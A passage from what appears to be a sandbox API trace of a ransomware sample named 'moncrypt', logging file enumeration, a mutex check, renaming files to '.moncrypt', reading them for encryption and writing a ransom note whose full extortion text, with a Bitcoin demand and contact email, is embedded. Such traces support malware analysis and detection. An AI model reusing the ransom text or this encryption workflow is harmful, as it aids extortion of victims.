lpOverlapped=0x0) returned 1 [0051.622] WriteFile (in: hFile=0x18c, lpBuffer=0x1e61d68*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x1e61d68*, lpNumberOfBytesWritten=0x18e6f0*=0x1, lpOverlapped=0x0) returned 1 [0051.633] WriteFile (in: hFile=0x18c, lpBuffer=0x1dbe1c8*, nNumberOfBytesToWrite=0x9c, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1c8*, lpNumberOfBytesWritten=0x18e6f0*=0x9c, lpOverlapped=0x0) returned 1 [0051.634] CloseHandle (hObject=0x18c) returned 1 [0051.635] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\EVRGREEN.ELM.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\evrgreen\\evrgreen.elm.moncrypt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0051.635] SetFileTime (hFile=0x18c, lpCreationTime=0x18e794, lpLastAccessTime=0x18e78c, lpLastWriteTime=0x18e784) returned 1 [0051.635] CloseHandle (hObject=0x18c) returned 1 [0051.635] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\EVRGREEN.ELM.moncrypt", dwFileAttributes=0x20) returned 1 [0051.635] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390c8, cbMultiByte=34, lpWideCharStr=0x18da28, cchWideChar=2047 | out: lpWideCharStr="HOW TO RECOVER ENCRYPTED FILES.TXT\x06") returned 34 [0051.635] GlobalLock (hMem=0x44000c) returned 0x555b78 [0051.635] GlobalHandle (pMem=0x555b78) returned 0x44000c [0051.635] GlobalUnlock (hMem=0x44000c) returned 0 [0051.635] GlobalLock (hMem=0x44000c) returned 0x555b78 [0051.636] GlobalLock (hMem=0x440004) returned 0x557b88 [0051.636] GlobalHandle (pMem=0x555b78) returned 0x44000c [0051.636] GlobalUnlock (hMem=0x44000c) returned 0 [0051.636] GlobalHandle (pMem=0x557b88) returned 0x440004 [0051.636] GlobalUnlock (hMem=0x440004) returned 0 [0051.636] CompareStringA (Locale=0x400, dwCmpFlags=0x0, lpString1="{{IDENTIFIER}}\r\n\r\nAll your files have been encrypted due to a security problem with your PC.\r\n\r\nNow you should send us email with your personal identifier.\r\nThis email will be as confirmation you are ready to pay for decryption key.\r\nYou have to pay for decryption in Bitcoins. The price depends on how fast you write to us.\r\nAfter payment we will send you the decryption tool that will decrypt all your files.\r\n\r\nContact us using this email address: moncoin@protonmail.com\r\n\r\nFree decryption as guarantee!\r\nBefore paying you can send us up to 3 files for free decryption.\r\nThe total size of files must be less than 10Mb (non archived), and files should not contain\r\nvaluable information (databases, backups, large excel sheets, etc.).\r\n\r\nIf you are waiting for a message from us for more than 12 hours, check spam folder.\r\n\r\nAttention!\r\n * Do not rename encrypted files.\r\n * Do not try to decrypt your data using third party software, it may cause permanent data loss.\r\n * Decryption of your files with the help of third parties may cause increased price \r\n (they add their fee to our) or you can become a victim of a scam.", cchCount1=14, lpString2="{{IDENTIFIER}}", cchCount2=14) returned 2 [0051.636] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\HOW TO RECOVER ENCRYPTED FILES.TXT", lpFindFileData=0x18e7dc | out: lpFindFileData=0x18e7dc*(dwFileAttributes=0x500000, ftCreationTime.dwLowDateTime=0x557b88, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x1e6a150, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0xbf4c5bf0, ftLastWriteTime.dwHighDateTime=0x5664e257, nFileSizeHigh=0x387e4e42, nFileSizeLow=0x5000c4, dwReserved0=0x503a80, dwReserved1=0x5664e257, cFileName="", cAlternateFileName="")) returned 0xffffffff [0051.636] GetLastError () returned 0x2 [0051.636] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\HOW TO RECOVER ENCRYPTED FILES.TXT" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\evrgreen\\how to recover encrypted files.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0051.656] WriteFile (in: hFile=0x18c, lpBuffer=0x1dccd48*, nNumberOfBytesToWrite=0x649, lpNumberOfBytesWritten=0x18e9e4, lpOverlapped=0x0 | out: lpBuffer=0x1dccd48*, lpNumberOfBytesWritten=0x18e9e4*=0x649, lpOverlapped=0x0) returned 1 [0051.657] CloseHandle (hObject=0x18c) returned 1 [0051.657] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6099bdd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x223, dwReserved0=0x0, dwReserved1=0x0, cFileName="EVRGREEN.INF", cAlternateFileName="")) returned 1 [0051.657] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0051.657] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0051.657] GlobalLock (hMem=0x440004) returned 0x555b78 [0051.657] GlobalHandle (pMem=0x555b78) returned 0x440004 [0051.657] GlobalUnlock (hMem=0x440004) returned 0 [0051.657] GlobalLock (hMem=0x440004) returned 0x555b78 [0051.657] GlobalLock (hMem=0x44000c) returned 0x557b88 [0051.657] GlobalHandle (pMem=0x555b78) returned 0x440004 [0051.657] GlobalUnlock (hMem=0x440004) returned 0 [0051.657] GlobalHandle (pMem=0x557b88) returned 0x44000c [0051.657] GlobalUnlock (hMem=0x44000c) returned 0 [0051.657] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0051.658] CharLowerBuffW (in: lpsz="EVRGREEN.INF", cchLength=0xc | out: lpsz="evrgreen.inf") returned 0xc [0051.658] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="f", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fê\x18", lpUsedDefaultChar=0x0) returned 1 [0051.658] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0051.658] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0051.658] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ê\x18", lpUsedDefaultChar=0x0) returned 1 [0051.658] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0051.658] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eê\x18", lpUsedDefaultChar=0x0) returned 1 [0051.658] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eê\x18", lpUsedDefaultChar=0x0) returned 1 [0051.658] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rê\x18", lpUsedDefaultChar=0x0) returned 1 [0051.658] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gê\x18", lpUsedDefaultChar=0x0) returned 1 [0051.658] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rê\x18", lpUsedDefaultChar=0x0) returned 1 [0051.658] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="v", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="vê\x18", lpUsedDefaultChar=0x0) returned 1 [0051.658] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eê\x18", lpUsedDefaultChar=0x0) returned 1 [0051.658] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=34, lpWideCharStr=0x18da24, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txtXT\x06") returned 34 [0051.658] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\EVRGREEN.INF", cchWideChar=77, lpMultiByteStr=0x18da00, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\EVRGREEN.INF", lpUsedDefaultChar=0x0) returned 77 [0051.658] CharLowerBuffW (in: lpsz=".INF", cchLength=0x4 | out: lpsz=".inf") returned 0x4 [0051.658] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".inf", cchWideChar=4, lpMultiByteStr=0x18da24, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".infShared\\THEMES14\\EVRGREEN\\EVRGREEN.INF", lpUsedDefaultChar=0x0) returned 4 [0051.658] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x54a, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0051.658] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0051.658] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0051.658] GlobalLock (hMem=0x44000c) returned 0x555b78 [0051.658] GlobalHandle (pMem=0x555b78) returned 0x44000c [0051.658] GlobalUnlock (hMem=0x44000c) returned 0 [0051.659] GlobalLock (hMem=0x44000c) returned 0x555b78 [0051.659] GlobalLock (hMem=0x440004) returned 0x557b88 [0051.659] GlobalHandle (pMem=0x555b78) returned 0x44000c [0051.659] GlobalUnlock (hMem=0x44000c) returned 0 [0051.659] GlobalHandle (pMem=0x557b88) returned 0x440004 [0051.659] GlobalUnlock (hMem=0x440004) returned 0 [0051.659] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0051.659] CharLowerBuffW (in: lpsz="PREVIEW.GIF", cchLength=0xb | out: lpsz="preview.gif") returned 0xb [0051.659] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="f", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fê\x18", lpUsedDefaultChar=0x0) returned 1 [0051.659] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0051.659] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gê\x18", lpUsedDefaultChar=0x0) returned 1 [0051.659] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ê\x18", lpUsedDefaultChar=0x0) returned 1 [0051.659] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="w", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wê\x18", lpUsedDefaultChar=0x0) returned 1 [0051.659] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eê\x18", lpUsedDefaultChar=0x0) returned 1 [0051.659] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0051.659] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="v", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="vê\x18", lpUsedDefaultChar=0x0) returned 1 [0051.659] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eê\x18", lpUsedDefaultChar=0x0) returned 1 [0051.659] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rê\x18", lpUsedDefaultChar=0x0) returned 1 [0051.659] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pê\x18", lpUsedDefaultChar=0x0) returned 1 [0051.659] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=34, lpWideCharStr=0x18da24, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txtXT\x06") returned 34 [0051.659] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\PREVIEW.GIF", cchWideChar=76, lpMultiByteStr=0x18da00, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\PREVIEW.GIFp", lpUsedDefaultChar=0x0) returned 76 [0051.659] CharLowerBuffW (in: lpsz=".GIF", cchLength=0x4 | out: lpsz=".gif") returned 0x4 [0051.660] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".gif", cchWideChar=4, lpMultiByteStr=0x18da24, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".gifShared\\THEMES14\\EVRGREEN\\PREVIEW.GIFp", lpUsedDefaultChar=0x0) returned 4 [0051.660] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x7eb1, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0051.660] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0051.660] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0051.660] GlobalLock (hMem=0x440004) returned 0x555b78 [0051.660] GlobalHandle (pMem=0x555b78) returned 0x440004 [0051.660] GlobalUnlock (hMem=0x440004) returned 0 [0051.660] GlobalLock (hMem=0x440004) returned 0x555b78 [0051.660] GlobalLock (hMem=0x44000c) returned 0x557b88 [0051.660] GlobalHandle (pMem=0x555b78) returned 0x440004 [0051.660] GlobalUnlock (hMem=0x440004) returned 0 [0051.660] GlobalHandle (pMem=0x557b88) returned 0x44000c [0051.660] GlobalUnlock (hMem=0x44000c) returned 0 [0051.660] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0051.660] CharLowerBuffW (in: lpsz="THMBNAIL.PNG", cchLength=0xc | out: lpsz="thmbnail.png") returned 0xc [0051.660] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gê\x18", lpUsedDefaultChar=0x0) returned 1 [0051.660] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0051.660] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pê\x18", lpUsedDefaultChar=0x0) returned 1 [0051.660] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ê\x18", lpUsedDefaultChar=0x0) returned 1 [0051.660] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lê\x18", lpUsedDefaultChar=0x0) returned 1 [0051.661] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0051.661] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aê\x18", lpUsedDefaultChar=0x0) returned 1 [0051.661] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0051.661] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="b", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bê\x18", lpUsedDefaultChar=0x0) returned 1 [0051.661] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mê\x18", lpUsedDefaultChar=0x0) returned 1 [0051.661] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="h", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hê\x18", lpUsedDefaultChar=0x0) returned 1 [0051.661] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tê\x18", lpUsedDefaultChar=0x0) returned 1 [0051.661] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=34, lpWideCharStr=0x18da24, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txtXT\x06") returned 34 [0051.661] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\THMBNAIL.PNG", cchWideChar=77, lpMultiByteStr=0x18da00, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\THMBNAIL.PNG", lpUsedDefaultChar=0x0) returned 77 [0051.661] CharLowerBuffW (in: lpsz=".PNG", cchLength=0x4 | out: lpsz=".png") returned 0x4 [0051.661] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".png", cchWideChar=4, lpMultiByteStr=0x18da24, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".pngShared\\THEMES14\\EVRGREEN\\THMBNAIL.PNG", lpUsedDefaultChar=0x0) returned 4 [0051.661] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\THMBNAIL.PNG", lpFindFileData=0x18e7c4 | out: lpFindFileData=0x18e7c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x7eb1, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0x54e240 [0051.661] FileTimeToLocalFileTime (in: lpFileTime=0x18e7d8, lpLocalFileTime=0x18e6f0 | out: lpLocalFileTime=0x18e6f0) returned 1 [0051.661] FileTimeToDosDateTime (in: lpFileTime=0x18e6f0, lpFatDate=0x18e7a6, lpFatTime=0x18e7a4 | out: lpFatDate=0x18e7a6, lpFatTime=0x18e7a4) returned 1 [0051.661] FindClose (in: hFindFile=0x54e240 | out: hFindFile=0x54e240) returned 1 [0051.661] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\THMBNAIL.PNG", dwFileAttributes=0x20) returned 1 [0051.662] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e699f0, cbMultiByte=9, lpWideCharStr=0x18d700, cchWideChar=2047 | out: lpWideCharStr=".moncrypt") returned 9 [0051.662] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\evrgreen\\thmbnail.png"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\THMBNAIL.PNG.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\evrgreen\\thmbnail.png.moncrypt")) returned 1 [0051.663] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\THMBNAIL.PNG.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\evrgreen\\thmbnail.png.moncrypt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0051.663] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e6d0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18e6d0*=0) returned 0x0 [0051.663] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e6d0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18e6d0*=0) returned 0x7eb1 [0051.663] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e6d0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e6d0*=0) returned 0x0 [0051.663] ReadFile (in: hFile=0x18c, lpBuffer=0x1dbe1a8, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x18e6f4, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1a8*, lpNumberOfBytesRead=0x18e6f4*=0x4000, lpOverlapped=0x0) returned 1 [0051.666] GlobalLock (hMem=0x44000c) returned 0x555b78 [0051.666] GlobalLock (hMem=0x440004) returned 0x55bb88 [0051.666] GlobalHandle (pMem=0x55bb88) returned 0x440004 [0051.666] GlobalUnlock (hMem=0x440004) returned 0 [0051.666] GlobalReAlloc (hMem=0x440004, dwBytes=0x4000, uFlags=0x2) returned 0x440004 [0051.666] GlobalLock (hMem=0x440004) returned 0x55bb88 [0051.666] GlobalHandle (pMem=0x55bb88) returned 0x440004 [0051.666] GlobalUnlock (hMem=0x440004) returned 0 [0051.666] GlobalReAlloc (hMem=0x440004, dwBytes=0x6000, uFlags=0x2) returned 0x440004 [0051.666] GlobalLock (hMem=0x440004) returned 0x55bb88 [0051.666] GlobalHandle (pMem=0x555b78) returned 0x44000c [0051.666] GlobalUnlock (hMem=0x44000c) returned 0 [0051.666] GlobalHandle (pMem=0x55bb88) returned 0x440004 [0051.666] GlobalUnlock (hMem=0x440004) returned 0 [0051.666] GlobalLock (hMem=0x440004) returned 0x555b78 [0051.666] GlobalHandle (pMem=0x555b78) returned 0x440004 [0051.666] GlobalUnlock 